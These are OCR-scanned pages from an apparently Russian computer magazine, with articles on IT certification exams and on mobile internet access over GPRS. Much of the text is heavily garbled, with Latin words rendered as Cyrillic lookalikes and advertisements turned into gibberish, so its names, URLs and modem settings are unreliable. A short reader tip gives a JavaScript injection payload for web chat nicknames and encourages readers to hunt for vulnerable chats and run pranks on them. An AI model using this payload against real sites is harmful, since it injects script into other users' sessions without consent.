Исключением из данного правила является тот же Зип, 
предлагающий сертификации по языку Заѵа. 

Хуже всего обстоит дело с веб-дизайном. Нет, разумеет- 
ся, существуют экзамены и по М3 РгопІРаде, и по другим 
инструментам для веб-дизайна, но вряд ли при приеме 
веб-дизайнера на работу или при заказе на разработку 
сайта кто-то на соответствующие сертификаты станет 
смотреть. Смотреть будут только на готовые работы. 



<МІСГ050и> 



Наиболее распространенными программами сертифика- 
ции для администраторов на данный момент являются 
сертификации МісгозоЙ, в частности программы по 
ѴѴіпсІоѵѵз 2000 / ѴѴіпсІоѵѵз ХР. Экзамены по ѴѴіпсІоѵѵз N1 4.0 
сейчас уже не сдают, хотя статусы, полученные по ней ра- 
нее, действительны до сих пор. 



Кроме сертификации по операционным системам, до- 
ступны экзамены по серверным продуктам (ЕхсИапде 
Зегѵег, ЗС)І_ Зегѵег, ІЗА Зегѵег и т.п.). С какими-то из них 
тебе придется познакомиться поближе при получении 
высших статусов сертификации. При выборе экзаменов 
по серверам советую обращать внимание на относи- 
тельно легковесные программы, например, на ІЗА 
Зегѵег (Іпіегпеі; Зесигііу апсі Ассеіегаііоп Зегѵег) - меж- 
сетевой экран от М3. Продукты класса Ехсііапде Зегѵег 
2000 достаточно объемны и сложны и потребуют массу 
времени на изучение. Экзамены по ним следует сда- 
вать в том случае, если нет другого выхода :). Аналогич- 
ная ситуация и с 5С)І_ Зегѵег. Тратить время на него нуж- 
но, только если ты планируешь в дальнейшем идти на 
статус МСЭВА. 

Стоимость одного экзамена зависит от центра тестирова- 
ния (от $50 и выше). В настоящий момент все экзамены 
проводятся на английском языке, хотя возможно, что ряд 
экзаменов, скорее всего лишь базовые, будут в дальней- 
шем переведены на русский (как это было с экзаменами 
по ѴѴіпсІоѵѵз N1 4.0). 

Сдача любого экзамена МісгозоЙ означает получение ста- 
туса МСР (см. врезку). Наиболее простыми и, соответст- 
венно, часто сдаваемыми являются экзамены по ѴѴіпсІоѵѵз 



2000 РгоТеззіопаІ (экзамен 070-215) и ѴѴіпсІоѵѵз 2000 Зегѵег 
(070-210) либо аналогичные по ХР. Справиться с экзаме- 
нами по администрированию сети и активного каталога 
(предполагаются к сдаче после двух первых) уже труднее. 
Ну, а самыми сложными экзаменами по ѴѴіпсІоѵѵз 2000 
считаются экзамены по проектированию. 




Самыми известными сертификациями по І_іпих являются 
программы института І_РІ (І_іпих РгоТеззіопаІ ІпзТіТиТе) и ком- 
пании ЗАІВ СІ\ІІІ/І_іпих (ЗоЙѵѵаге АгсИіТесТиге ІтрІетепТаТіоп 
апсі РеаІігаТіоп). Отличительная особенность этих программ 
- их независимость от дистрибутива І_іпих и, как следствие, 
ориентация на внутреннее устройство системы, а не на за- 
поминание команд и их параметров. 

Компания ЗАІР предполагает три уровня сертификации, 
на каждом из которых необходимо сдать 4 экзамена (по 
$100 каждый): 

ЗАІР І_іпих апсі СІМІІ СегТіТіесІ АсІтіпізТгаТог (І_СА); 

ЗАІР І_іпих апсі СМІІ СегТіТіесІ Епдіпеег (І_СЕ); 

Мазіег ЗАІР І_іпих апсі СМІІ СегТіТіесІ Епдіпеег (МІ_СЕ). 




Юниксоид 











Сертификация І_РІ насчитывает 3 уровня по 2 экзамена на 
каждом (один экзамен - $100). Каждый уровень именует- 
ся І_РІ СегШесІ с указанием соответствующего номера. 

Экзамены и ЗАІР, и І_РІ отличаются высоким уровнем 
сложности вопросов. 



<Программы 
сертификации СотрТІА> 



СотрТІА предлагает ряд программ сертификаций, не свя- 
занных с конкретными продуктами. Сертификации 
СотрТІА служат своего рода показателями профпригод- 
ности сисадмина на западе. У нас же они пока широкого 
распространения не получили (в первую очередь, надо ду- 
мать, из-за цены - один экзамен стоит 200 баксов). 

Но если ты собрался уезжать и хочешь найти хорошую ра- 
боту за границей, то следует обратить на них особое вни- 
мание. 

Наиболее популярные сертификации СотрТІА: 

А+ - тест на Ю для технических специалистов. Без него 
вам на западе не дадут развинтить системный блок. 

І\Іеѣл/огк+ - знание работы сети, настройка сетевых прото- 
колов. Тоже своего рода Ю. 

Зегѵег+ - РАЮ, 5АІМ и т.п., что необходимо знать, чтобы 
тебя подпускали к серверам в больших сетях. 

І_іпих+ - достаточно несложный (по сравнению с І_РІ и 
ЗАІР) экзамен. Соответственно, и котируется ниже. 



<Подготовка к экзамену> 



Если же ты всерьез задумался о сертификации, 
то не советую тебе сразу топать в ближайший 
учебный центр и тратить свои кровные на по- 
пытку сдать экзамен, даже если ты уверен в 
своих силах. Сперва испытай себя на прочность 
в существующих бесплатных онлайновых тестах 
и при успешной сдаче теста получи сертификат. 
К сожалению, за высылаемый сертификат при- 
дется заплатить - людям, которые окучивают 
эти сайты, тоже кушать хочется :). Но, во-пер- 
вых, никто тебя не обязывает его (сертификат 
за успешно сданный онлайновый тест) выку- 
пать, а, во-вторых, ты получишь бесценный 
опыт, который сможешь в дальнейшем исполь- 
зовать при сдаче реального сертификационного 
экзамена. И главное - никакой официальной об- 
становки при сдаче! Ноги на стол, кофе на сис- 
темник и поехали... 
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Очень солидный центр онлайнового тестирования, ко- 
торый содержит более 400 тестов разного калибра. Туг 
есть практически все, что душе угодно, только успевай 
оплачивать. Но мы люди экономные, поэтому сразу пе- 
реходим по ссылке Ѵіеѵѵ АІІ Ргее Тезіз - получаем спи- 
сок значительно скромнее, но зато халява полная :). 
Правда, в этот список входят либо тесты, которые име- 
ют наименьший спрос, либо тесты, которые находятся 



Существуют два основных варианта подготовки - самосто- 
ятельно по книжкам и на соответствующих сдаваемому 
экзамену курсах. Подобные курсы называются авторизо- 
ванными и читаются они в учебных центрах соответствую- 
щих компаний. На сайте компании-производителя про- 
дукта, как правило, указываются существующие авторизо- 
ванные курсы, а также экзамены, которым данные курсы 
соответствуют. В большинстве случаев к одному экзамену 
готовит один курс, хотя бывают и исключения. 

Выбрав курс, необходимо найти учебный центр в пределах 
досягаемости, узнать расписание курса и его стоимость. 
Найти учебный центр, так же как и центр тестирования для 
сдачи экзамена (с большой долей вероятности это будет 
одна и та же организация), в Питере или Москве труда не 
составит, но если ты живешь в далеком Урюпинске, то, 
возможно, придется потратиться на билеты до одной из 
столиц. Учти, стоимость курса выше стоимости сертифика- 
ции, поэтому заранее приготовь пару сотен баксов. 

Хорошая новость - к ряду экзаменов можно готовиться 
своими силами, без лишней траты денег. Плохая - далеко 
не ко всем, и, как правило, такая подготовка займет гораз- 
до больше времени, чем прохождение курса. К примеру: 
если курс, рассчитанный на подготовку к сертификацион- 
ному экзамену, длится неделю-две (у МісгозоЙ стандартно 
40 часов), то на самостоятельное переваривание соответ- 
ствующего объема знаний может уйти месяц и более. По- 
чему? Потому что трудно заставить себя уделять подготов- 
ке 8 часов в день - а это норма для авторизованных 
курсов. Подготовка будет откладываться на завтра, 
материал начнет забываться, а дата сдачи, таким 
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в режиме отладки/разработки. Но на последнее я бы 
жаловаться не стал - могут попасться актуальные вещи. 
Вдобавок ко всему, любой свежевыставленный онлай- 
новый тест могут пройти совершенно бесплатно пер- 
вые 500 счастливчиков, остальные платят по тарифу. 
Сертификат туг платный (9,95 зеленых фантиков), но 
покупать его совершенно не обязательно. А вот то, что 
сайт и тесты на английском языке - большой плюс, это 
в принудительном порядке поможет тебе подготовить- 
ся к реальной сертификации, которая тоже обычно 
проходит на английском. > > > 
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СЕРТИФИКАЦИЯ ІТ-СПЕЦИАЛ ИСТОВ 



ф Егор Орлов (Едог.ОгІоѵ@аѵаІоп.ги) 



образом, отодвигаться все дальше и дальше. Кроме того, 
есть еще пара трудностей: необходимо заставлять себя 
проделывать все практические задания, сколь бы очевид- 
ными они ни казались, и искать ответы на все возникаю- 
щие вопросы в документации, т.к. при самостоятельной 
подготовке на помощь инструктора рассчитывать не при- 
ходится. Так что, если решил пробиваться самостоятель- 
но, советую тебе заранее запастись терпением и мобили- 
зовать силу воли. 

Что касается литературы - рекомендую книги и официальные 
пособия, на которых указано, что они готовят к экзаменам. В 
частности, в последнее время появилось достаточно большое 
количество книжек МісгозоТі Ргезз и Сізсо Ргезз по подготов- 
ке к их экзаменам. Но сколь бы полный охват материала ни 
обещали авторы книги, наиболее приоритетной считается 
информация по экзамену, размещенная на сайте. На нее на- 
до ориентироваться в первую очередь. Ситуация, когда даже 
в официальных изданиях отсутствует темы, встречающиеся 
на экзаменах, считается стандартной. Так что гляди в оба! 

Как последний этап в подготовке можешь попробовать 
свои силы на пробных тестах, которые можно найти в Ин- 
тернете, и сверить свои ответы с нелегально опублико- 
ванными в Сети отчетами о сданных экзаменах. Называ- 
ются такие отчеты (вопросы с правильными вариантами) 
Ьгаіпсіитрз. Только не злоупотребляй ими и не заменяй 
ими подготовку к экзамену. Вопросы могут меняться, да и 
ответы могут указываться неправильно. 



<В бой!> 



Заказав и оплатив тест, ты приходишь в назначенный день 
в тестовый центр. Экзамены, как правило, длятся от полу- 
тора до четырех часов в зависимости от сложности и объ- 
ема. Точную длительность тебе сообщат в тестовом цент- 
ре. Имей в виду, что ряд вендоров предоставляет лишнее 
время (как правило, полчаса) в случае, если тестирование 
проходит не на родном языке. Выясни это заранее и спро- 
си у администратора центра, добавлено ли время. Обяза- 
тельно узнай, можно ли пользоваться словарем или каль- 
кулятором, и если можно, то надо ли приносить их с собой. 
Не забудь ручку. Листок бумаги для черновика тебе выда- 
дут. Вопросов обычно штук тридцать-сорок, в зависимос- 
ти от экзамена. Для каждого сертификационного экзамена 
установлена своя граница прохождения, обычно - 60-80%. 

Пытаться протащить с собой шпоры, литературу, ноутбук 
или товарища с кучей электроники не стоит. Может выйти 
боком. Политика тестирования Рготеігіс и VII Е разрешает 
персоналу тестового центра признать твое тестирование 
недействительным, если ты будешь нарушать правила (но 
деньги за экзамен тебе, разумеется, не вернут). 

Итак, когда все формальности позади, перед тобой ока- 
жется программа тестирования с последовательностью 
вопросов и несколькими (три-четыре-пять) вариантами 
ответа на каждый. На многих экзаменах непонятные сходу 
вопросы можно пометить на будущее и вернуться к ним 
потом. Когда закончится отведенное время, тест прекра- 
тится, и если ты не ответил на часть вопросов, они будут 
засчитаны как неправильные. По итогам теста ты полу- 
чишь распечатку с количеством набранных тобой баллов и 
результатом - «Разз» или «РаіІ». 



Очень надеюсь, что на распечатке результатов твоего эк- 
замена слова «РаіІ» не будет :). # 





Центр компьютерного обучения 
при МГТУ им. Н.Э. Баумана 

№:/ДезІз.зоесіаІіз1.щ 

Отечественный монстр тестирования оп-Ііпе. Мало то- 
го, что регистрация на сервере и юзание всех тестов 
абсолютно бесплатно, так еще и среди участников те- 
стирования постоянно проводятся розыгрыши призов 
(от учебных пособий до бесплатного обучения на сер- 
тифицированных курсах Місгозой)! Количество до- 
ступных тестов приятно впечатляет - 72 единицы: 
ѴѴіпсіоѵѵ5’98, М3 (Жісе 2000, Іпіегпеі, ѵѵеЬ-сіезідп, 




Пазіі, ѵѵеЬ-тазіегіпд, СогеІ Огаѵѵ, РИоіозИор, Міизігаіог, 
30 Мах, ОиагкХРгезз, ѴѴіпсіоѵѵз N1/2000, ІІпіх, С, С++, 
Оеірііі, Огаісе, Ассезз 2000, 1 С: Бухгалтерия 7.7 и т.д. 
С 1 августа здесь, как это ни печально, тоже ввели оп- 
лату за получение сертификата. Стоимость получения 
сертификата по почте - 200 деревянных, стоимость 
получения в самом Центре - 1 00 деревянных. 

ВеІгаТесН 

ѵѵѵѵѵѵ.сеііійсаііопз.ги 

Полностью виртуальный ресурс, более скромный по 
количеству живущих туг тестов - всего 9. Аналогично 
регистрация и юзание тестов - бесплатно, а получение 
бумажного сертификата - за денежку. Но тесты хоро- 
шие, серьезные. К тому же на сайте находится большое 
количество материалов о сертификации ІТ-специал ис- 
тов и имеется одна приятная фича - мастер резюме. 








Заполняешь небольшую форму (на это уйдет не более 
двух минут), и твои тактико-технические характеристи- 
ки (с указанием удачно пройденных на СегІіТісаІіопз. ш 
тестов :)) смогут увидеть тысячи работодателей на сай- 
тах шм.гагріаіа.ш, ѵ\лмл/. гбѵѵ.ги и ѵѵш/.ІрЬ.ги. 

СегІіГу.сот 

ѵѵѵѵѵѵ.сеіійѵ.сот 

Софтверная импортная компания, штампующая софт 
(Ехат Еззепііаіз) для проверки степени готовности к 
сдаче сертификационных экзаменов СотрТІА, 
МісгозоТІ и МоѵеІІ. Следуя веяниям моды, разместила 
на сайте движок, позволяющий тестировать знания 
онлайн. Сам процесс тестирования сделан очень 
удобно. Во-первых, не нужно нигде регистрировать- 
ся, чтобы пройти любой из предложенных тестов (их 
тут целых 38 экземпляров). Во-вторых, в процессе те- 
стирования наглядный индикатор отображает общее 
количество просмотренных вопросов и текущий про- 
цент «успеваемости». В-третьих, после каждого отве- 




та тебе сообщают, верно ли ты ответил, и показывают 
правильный вариант (с аргументацией!)... Короче, не 
сайт, а сказка... на английском языке. 

ЗкіІЮгіІІ 

ѵѵѵѵѵѵ.зкіІМІ.сот 

И опять англоязычный ресурс. Содержит он, лучше 
сначала присядь, приблизительно 200 тестов (я со сче- 
ту сбился, когда попытался посчитать) по различным 
приложениям, базам данных, базовым знаниям про- 
граммных продуктов и протоколов, сетям, операцион- 
ным системам, программированию и веб-технологиям. 
Каждый тест содержит 45 вопросов, на которые отво- 
дится 30 минут мозгового штурма. Перед каждым тес- 
том ты получаешь его краткое описание, содержание 




тем, которые в него входят, и критерии оценки. Есть 
интересный нюанс - можно откладывать тестирование 
на срок до 30 дней, но тогда ответ на вопрос, на кото- 
ром был сделан выход из теста, будет помечен как не- 
правильный. Держит этот замечательный ресурс пор- 
тал ВгаіпВигг.сот, на котором тебе придется зарегис- 
трироваться, чтобы получить доступ на ЗкіІЮгіІІ. 

СегЙІ .сот 

ѵѵѵм.сегі21.сот 

Забугорный склад более 80 онлайновых тестов (прав- 
да, тут они называются практическими экзаменами), 
имитирующих сдачу реальных экзаменов. Есть воз- 
можность заведения бесплатного аккаунта, с помощью 
которого можно получить доступ к любому тесту, но с 
урезанным количеством вопросов (например, 20 вме- 
сто 440). Каждый тест можно проходить с настройка- 
ми, как при сдаче реального экзамена, а можно вы- 
ставлять более щадящие параметры или вовсе выклю- 
чать таймер, чтобы спокойно копошиться в книжке в 
поисках правильных ответов. Приятно состряпанный 
дизайн способствует комфортному тестированию. 






Ньюсы 



Террум 



Юниксоид 



Материал подготовил: Андрей Каролик ( апсІги5На@зІ.ги ) 







РепЕшТ ЯЁПНЮТЕІ Ыр^ГІіЁТри|рО^НіГЫМИ И^аісамр КС ѵг-йим ѵі Ш\ СОГрС'-ЭІ ОП 




р^пііит 4 



щего ! 



Компьютер ръ* 

Щ Ш\Р~ 

иобсіе 
проц^ксоро* 
ІтЫ'Р^ткдтѵ 4 



Ним 1 шм р - 
щштш аяят ним 

л ли 41НЧ, оф+м 4. №МЫ 
на ѣтш Інсшсгшн 
ІпіИ * №к(ііыи ѵ 4 

I Т4М.ТШШШШЖ 

чл шпін 1,3 Гги 



ГТ^ЛЙ! ЙАНІН* ДОДОЧШМЙі 

Н|М. ііуамад г ьм»а 

И4 #МРГ- П№ЧЦЧ.І СРЮ 

ЫЫ* РіпІІипі 1 4 

| Т 4 Л 1 і»ЙІ 

ЧчИ іени* Ы Г™ 



*ІІрм»Ѵ- 

‘^ЗГ в * т 

Ніі і ,■.!■*• ГЦЯІІИЧ 4 ЧІШ 

кЫг^^ТГі^* * 



С ІЖТШ4Ж 

час і б ын ій 1 ,? Ггц 










4 І«м 







• Н1 пч ДОР ЛАТЫ Я 




С алоі+м - магазины 

О • в 



«нг 

Н 4 , а №1 к нН К ‘№нн ь 
тч,: ПІИ: ЧИ- 7 К 



I*. мм^напч и 
м: ->№ №ІНІ 



!М- С]Ьшяі 

чл ітй-ю-ыіі 







МОБИЛЬНЫМ ИНТЕРНЕТ 



чего телефона, хотя, в большинстве случаев, значи- 
тельно дешевле найти, скажем, интернет-кафе. 



2) Н$С$0 - НідІі Зрееб Сігсиіі ЗѵѵіІсИесІ Оаіа - высокоско- 
ростная передача данных по коммутируемым линиям. 
Более "продвинутая" замена СЗБ. Данные передаются 
примерно так же, как и в случае с СЗБ, но уже не по од- 
ному каналу (тайм -слоту), а сразу по нескольким. Таким 
образом, максимальная скорость может достигать 57,6 
Кбит/сек (при условии, что будет задействовано четыре 
канала по 14,4 Кбит/сек каждый). Но здесь, как и в пре- 
дыдущем случае, тарифицируется каждая минута соеди- 



<Теория> 



В последнее время очень много говорят о выходе в 
Интернет с помощью сотового телефона. Причем, в 



первую очередь, начинающие пользователи спраши- 



(хотя для многих телефонов 9600 Кб/сек - потолок). 
Но если иногда (скажем, для болтовни в асе) и мож- 
но обойтись такой низкой скоростью соединения, то 
не думаю, что кому-то понравится отдавать по 12-18 



вают о цене. Поговорим об этом и мы. Но прежде хо- 
телось бы обратить твое внимание, что существует не- 
сколько способов подключения к сети через мобилу: 



ВСЯ СЕТЬ НА ЛАДОНИ 



Хорошо быть мобильным. Не в смысле - "сотовым" (т.е. с кнопками на брюхе и аккумуляторами в зад... 
нем отсеке :)), а в смысле - "подвижным, легким на подъем". Ради этого можно даже сменить свой 
любимый десктоп на ноутбук или карманный компьютер. Но вот беда, в наши дни компьютер без Интернета 
- это как пиво без воблы. А значит, даже обзаведясь переносной машиной, ты все равно будешь страдать 
зависимостью от телефонных розеток или разъемов ЛВС, сковывающей твою свободу передвижений. 
Точнее, был вынужден страдать до недавнего времени. К счастью, технический прогресс не стоит на месте, 
и уже сейчас существует реальная возможность подключаться к сети через мобильный телефон либо за 
относительно небольшие деньги, либо вообще на халяву. 



центов за каждую минуту, проведенную в онлайне, нения. НЗСЗБ поддерживают не все телефоны, но и до- 
11 С5Р - доступ в Интернет по коммутируемому ка- Единственное достоинство СЗБ в том, что таким об- ступен данный сервис лишь абонентам "Северо-Запад- 

налу. Скорость соединения не превышает 14,4 Кб/сек р аз0 м можно проверить почту даже с самого дрему- ного СЗМ" - ныне питерского отделения "МегаФона". 
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Зопу Егісззоп Т68і 



Стоить помнить, что во время передачи дан- 
ных с помощью ОРВЗ-телефона очень быст- 
ро садится аккумулятор. Ведь здесь уже за- 
действован не один (как во время простого 
разговора) канал, а целых 3-4. Поэтому 
всегда обращайте внимание на индикатор 
заряда батареи перед выходом из дома. К 
примеру, Зіетепз МЕ45 со 100%-аккумуля- 
тором способен обеспечить 5-6 часов ак- 
тивного серфинга, что равняется где-то 40- 
50 Мб принятой и переданной информации. 



Из-за использования сразу нескольких 
тайм-слотов для передачи данных заметно 
увеличивается и электромагнитное излуче- 
ние сотового телефона. Нельзя сказать, что 
оно становится смертельно опасным, но все 
же лучше убрать его подальше, подумав хо- 
тя бы о качестве изображения на своем 
ЭЛТ-мониторе (не секрет, что по вине сото- 
вых телефонов может возникать рябь и дру- 
гие помехи). 



3) СРВЗ - СепегаІ Раскеі Васііо Зегѵісез - услуга па- 
кетной передачи данных. Теоретически позволяет пе- 
редавать эти самые данные со скоростью до 171,2 
Кбит/сек (используя несколько тайм-слотов). Сото- 
вые сети, поддерживающие данный стандарт, еще 
иногда называют 2,50. Ведь это сеть уже не второго 
поколения (20 - СЗЭ), но еще и не третьего. Главная 
прелесть 0РВ5, по сравнению с НЗСЗй и СЗЭ, за- 
ключается в способе тарификации: оплачивается не 
время соединения, а объем данных, переданных за 
это время. То есть можно просидеть в чате несколько 
часов, а суммарный трафик составит всего 1 ,5-2 Мб 
- за него-то ты и заплатишь. 

Такое возможно не из-за того, что операторы двига- 
ют новую технологию, устанавливая демпинговые це- 
ны на сервис, а из-за особенностей передачи данных 
по этому протоколу. Тут информация передается па- 
кетами (отсюда и название стандарта). Это значит, 
что ресурсы сотовой сети используются только тогда, 
когда необходимо передать какие-либо данные. 



мать данные со скоростью 40,2 Кбит/сек, а отправ- 
лять - со скоростью 13,4 Кбит/сек. На практике каче- 
ство связи сильно зависит от загрузки сети (ведь 
приоритет отдается голосовому трафику, а не пере- 
даче данных). Например, в вечернее время, когда 
сеть традиционно загружена, "прокачка" заметно ху- 
же, чем в другое время суток. 



Все сказанное выше, конечно, очень хорошо, но, что- 
бы начать пользоваться СРВЗ, сначала необходимо 
обзавестись новым сотовым телефоном (или настро- 
ить старый, если он имеет поддержку СРВЗ). Сейчас 
в салонах связи уже начали появляться относительно 
доступные по цене модели телефонов с поддержкой 
этого стандарта. Самой дешевой пока остается 
Моіогоіа ТітеРогІ 260. Если постараться, то можно 
найти ее за 100-120$, но это один из первых аппара- 
тов с СРВЗ, у него лишь 2 тайм-слота на прием, по- 
этому покупать именно его я бы тебе не советовал. 
Лучше немного подкопить и взять что-нибудь по- 
меньше, поудобнее и пофункциональнее. ИМХО, са- 
мыми выгодными телефонами по соотношению це- 
на/функциональность являются Зіетепз МЕ45 и 
Егісззоп Т39. Достоинство первого заключается в 
большом экране, пыле-, влагозащитном корпусе, ку- 
че других примочек. Второго - в наличии встроенной 
поддержки ВІиеІооІП. То есть, если купить ВІиеІооШ- 
модуль для настольного ПК (подобный можно 
легко найти за 70-100$) или карманный ПК со 
встроенным модулем (скажем, НР Сотрац 






Моіогоіа ТітеРогІ 260 



<Практика> 



Реально в настоящее время СРВЗ полноценно под- 
держивается почти всеми операторами Москвы. 
БиЛайн самым первым запустил сеть в тестовую и, 
чуть позже, в коммерческую эксплуатацию. Сейчас 
стоимость одного Мб принятой или переданной ин- 
формации составляет 25 центов (с налогами полу- 
чается 30 центов). У МТС СРВЗ до сих пор находит- 
ся в тестовом режиме: услуга предоставляется бес- 
платно, но ее качество не всегда идеально. Мос- 
ковский МегаФон решил не отставать от конкурен- 
тов и тоже дополнил пакет предоставляемых услуг 
новым сервисом, сразу запустив его в коммерчес- 
кую эксплуатацию (увы, халявы не было). В настоя- 
щий момент МегаФон предлагает сразу несколько 
тарифных планов по пользованию СРВЗ. Самый, 
"выгодный" из них предполагает абонентскую пла- 
ту 30$ и 50 Мб трафика. Если начать пользоваться 
услугой просто так, то придется платить по 1,25$ 
(без учета налогов) за каждый переданный Мб ин- 
формации. По сравнению с МегаФоном тарифные 
планы БиЛайна кажутся просто райскими, а ведь 
многие в свое время утверждали, что и 30 центов, 
за Мб - ужасно дорого. 

В Питере ни один оператор услугу пакетной передачиі 
данных не предоставляет. Даже в тестовом режиме. 
Где-то в "подполье" она функционирует у МТС, но 
официальной информации по этому поводу нет. Хотя, 
по логике вещей, с приходом в северную столицу 
третьего СЗМ -оператора (для тех, кто не в курсе, - 
намек на БиЛайн), должно последовать очередное 
снижение цен или увеличение количества новых ус- 
луг, так что жителям "дальнего севера" осталось жить 
в оффлайне совсем недолго. 

Кстати, на данный момент реальная скорость интер- 
нет-соединения далека от тех 171 ,2 Кбит/сек, что те- 
оретически способен обеспечить стандарт. Скажем, у 
БиЛайна пока задействовано только три тайм-слота 
на прием и один на передачу, то есть можно прини- 
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МОБИЛЬНЫЙ ИНТЕРНЕТ 



ф Андрей Клинаичев (апс!геу@іхЫ.сот) 



3x70, Риііізи Зіетепз Роскеі ШОХ), то можно будет 
вылезать в Интернет "оѵег Фе аіг", даже не доставая 
телефон из кармана или портфеля. 

Все новые аппараты по скорости (в реальной жиз- 
ни) отличаются мало: большинство имеет 3-4 кана- 
ла на прием и 1 -2 на передачу информации. Дело в 
том, что в настоящее время скорость ограничива- 
ется не абонентскими терминалами, а количеством 
тайм-слотов, выделенных под передачу данных 
оператором (короче - все упирается в него). Так 
что переплачивать за лишние тайм-слоты смысла 
нет: Зіетепз МЕ45 (190$, 3 слота на прием и 1 на 
передачу) качает информацию из сети с такой же 
скоростью, как и Зопу Егісззоп Т68і(4+2), хотя по- 
следний и стоит в два раза дороже. 




К настольному ПК телефон проще всего подключить 
через провод. С Зіетепз МЕ45 он идет в комплекте. 
А для других аппаратов Оаіа-кабель придется поку- 
пать. Не исключено, правда, что получится спаять 
провод самому. Не такое уж хитрое это дело (особен- 
но для популярных моделей), хотя, как мне кажется, 
проще отдать эту тысячу рублей за ІгйА или 500-800 
за провод и не париться с паяльником. 

Кстати, не стоит думать, что если вы купите ИК-порт, 
подключенный в ІІЗВ-порт, то данные будут передавать- 
ся по нему быстрее, чем через аналогичное устройство, 
сделанное для СОМ -порта. В любом случае скорость пе- 
редачи данных по ИК-порту ограничена скоростью этого 
самого ИК-порта. В 99% случаев она равна скорости 
СОМ -порта. Само собой, существует такая вещь, как 
Разі ІгОА (с пропускной способностью до 4 Мбит/сек!), 
но телефонов, поддерживающих его, просто нет. 
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Многие дети любят "МАМБУ"... тьфу 8)) Многие 
ѵѵѵѵѵѵ-чаты имеют дыры... и одна из самых серь- 
езных уязвимостей - это обработка НТМЬтегов и 
ЗаѵаЗсгірІ. Так вот, если в чат, имеющий данную 
уязвимость, вставить в качестве піскпате, что-то 
вроде: &#039); аІегІ( &#034руки бл*!&#034); 
зау(&#039 то, при удачном стечение обстоя- 
тельств, каждый, кто захочет отослать вам месса- 
гу (при этом нажав на ваш ник), получит сообще- 
ние: руки бл*! 



А теперь немного поразмышляй, поищи приколь- 
ных скриптов и дырявых чатов, приводи толпу 
друзей и восстанавливай правосудье на свое ус- 
мотрение, но не забывай... настоящие ][@Х0г'ы 
никогда не наглеют :)) 

Феликс (Оиіск$іІѵеР) Калайчев 

и геЬ: М 1 р://зесигНу- 2 опе.Ьу.ги/, таіі: гЬс- 
гооІ@Ьк.ги, #\СО: 1399102 



Не стоит забывать, что благодаря СРКЗ в 
сеть можно вылезать не только с ноутбука 
или настольного ПК. Появляется возмож- 
ность, например, быстро проверить элек- 
тронную почту с карманного компьютера 
или поискать что-нибудь интересное в спе- 
циальном мобильном интернете, заселен- 
ном ѴѴАР-сайтами, созданными специально 
для доступа к ним с сотового телефона. Ес- 
ли раньше аббревиатуру ѴѴАР расшифровы- 
вали как ѴѴаіІ-апсі-рау (Жди-и-плати), то 
сейчас ситуация в корне изменилась. Наст- 
роив ѴѴАР через СРК5, можно сколь угодно 
долго читать с экрана телефона анекдоты, 
гороскопы или разыскивать интересный 



фильм, недавно вышедший на экран, не за- 
бивая себе голову тем, сколько вы уже 
пользуетесь сервисом и сколько Кб инфор- 
мации загрузили. У МТС эта услуга бесплат- 
ная, а в БиЛайн е за нее снимается або- 
нентская плата, равная 3$ в месяц. 
Разумеется, на Япсіех и Анекдот. ру с теле- 
фона не зайдешь, но если нечем заняться в 
пробке, то лучший способ провести время 
придумать сложно. Абонентам БиЛайн кате- 
горически советуем поиграть в игру "Наше- 
ствие", находящуюся в разделе Игры-Ники- 
та-Приключения. Это что-то вроде квеста: 
придется спасать столицу от нашествия 
Карлсонов-убийц :). 



и 






Самый удобный и быстрый способ "спаривания" ПК и 
телефона - при помощи ВІиеТооІб-модуля. Но, с дру- 
гой стороны, это и самый дорогой вариант. 

Проблема подключения сотового к компьютеру не так 
актуальна, если планируется вылезать в сеть с ноут- 
бука или КПК: подавляющее большинство этих "де- 
вайсов" уже имеют встроенные ИК-порты и ВІиеІооІИ- 
модули. А вот владельцам десктопов и саб-ноутбуков 
стоит заранее обратить на это внимание, ведь у по- 
следних зачастую не бывает даже и 118В. 



<Настройки> 

Чтобы настроить соединение, не нужно быть "кул-ха- 
кером", но немножко поковыряться придется. Приве- 
денные ниже настройки работают у московских опе- 
раторов, хотя не исключено, что настройки для 
Санкт-Петербурга аналогичны. Разумеется, сначала 
нужно подключить телефон к ПК и доказать ему, что 
вы подключили именно модем, а не "анноун девайс". 
Затем нужно создать удаленное ОіаІІІр-соединение 
со следующими параметрами: 



Номер телефона - *99# (или *99***1# для телефонов 
Зіетепз) 

РИЗ: 

для Билайна: 194.067.002.1 14 и 194.190.195.066 
для МТС: 213.087.000.001 и 213.087.001.001 
для МегаФона: назначается сервером 
Строка инициализации модема: 

БиЛайн: АТ+ССЮСОІѵГМ ,"ІР","іпіегпеІЬееІіпе.ги" 
МТС: АТ+ССЮС(ЖГ=1 ,"ІР","іпіегпеІтІ5.ги" 

МегаФон: АТ+ССЮСОМТ=1 ,"ІР","іпіегпеГ 
Все это нужно вводить именно так, как написано выше, 
без пробелов и с учетом регистра. В случае с КПК, ес- 
ли он будет выдавать разные глупые ошибки, можно 
попробовать убрать "АТ" в начале строки инициализа- 
ции, то есть она будет начинаться сразу со знака плюс. 
Также необходимо убрать галочку "сжатие заголовков 
ІР" и оставить лишь один допустимый сетевой прото- 
кол - ТСР/ІР. 

По идее, после этого уже можно начинать бороздить 
просторы сети, но если возникнут проблемы, то мож- 
но посетить официальные странички операторов или 
просто позвонить в службу поддержки. 



Кроме СРК5 в настоящее время существуют 
и другие беспроводные технологии переда- 
чи данных. В Европе и Японии, к примеру, 
многие операторы уже "созрели" до сетей 
третьего поколения (30): одни только-толь- 
ко начинают их строить, а абоненты других 
уже почувствовали на своей шкуре все до- 
стоинства новых сервисов. На данный мо- 
мент существует несколько реализаций 30- 
сетей. Все они построены на базе ОРМА 
(Сосіе Оіѵізіоп МиШрІе Ассезз - множествен- 
ный доступ с кодовым разделением кана- 
лов - современный и перспективный стан- 
дарт цифровой сотовой связи). Поэтому, 
чтобы переделать уже имеющиеся ОЗМ-се- 
ти, необходимы значительные капитало- 



вложения, а для перехода от СБМА-сетей к 
30 достаточно сделать что-то вроде не- 
большого апгрейда, который будет стоить 
заметно меньше. 

Проблема заключается в том, что в нашей 
стране распространенность 05М -сетей значи- 
тельно выше, нежели СБМА. Поэтому наде- 
яться на скорое появление сетей третьего по- 
коления в России не приходится. Хотя петер- 
бургская "Дельта Телеком" заключила кон- 
тракт с Іисепі ТесИпоІодіез на поставку обору- 
дования для создания СйМА-450-сетей треть- 
его поколения. Аналогичные переговоры с ки- 
тайскими компаниями ведет и МТС. Что из 
всего этого выйдет - покажет время, а пока 
придется довольствоваться ОРКЗ'ом. 



Ото только начало!> 

В заключение хочет отметить, что, несмотря 
ни на что, XXI век уже наступил. СРВ5 - это 
только технология, позволяющая передавать 
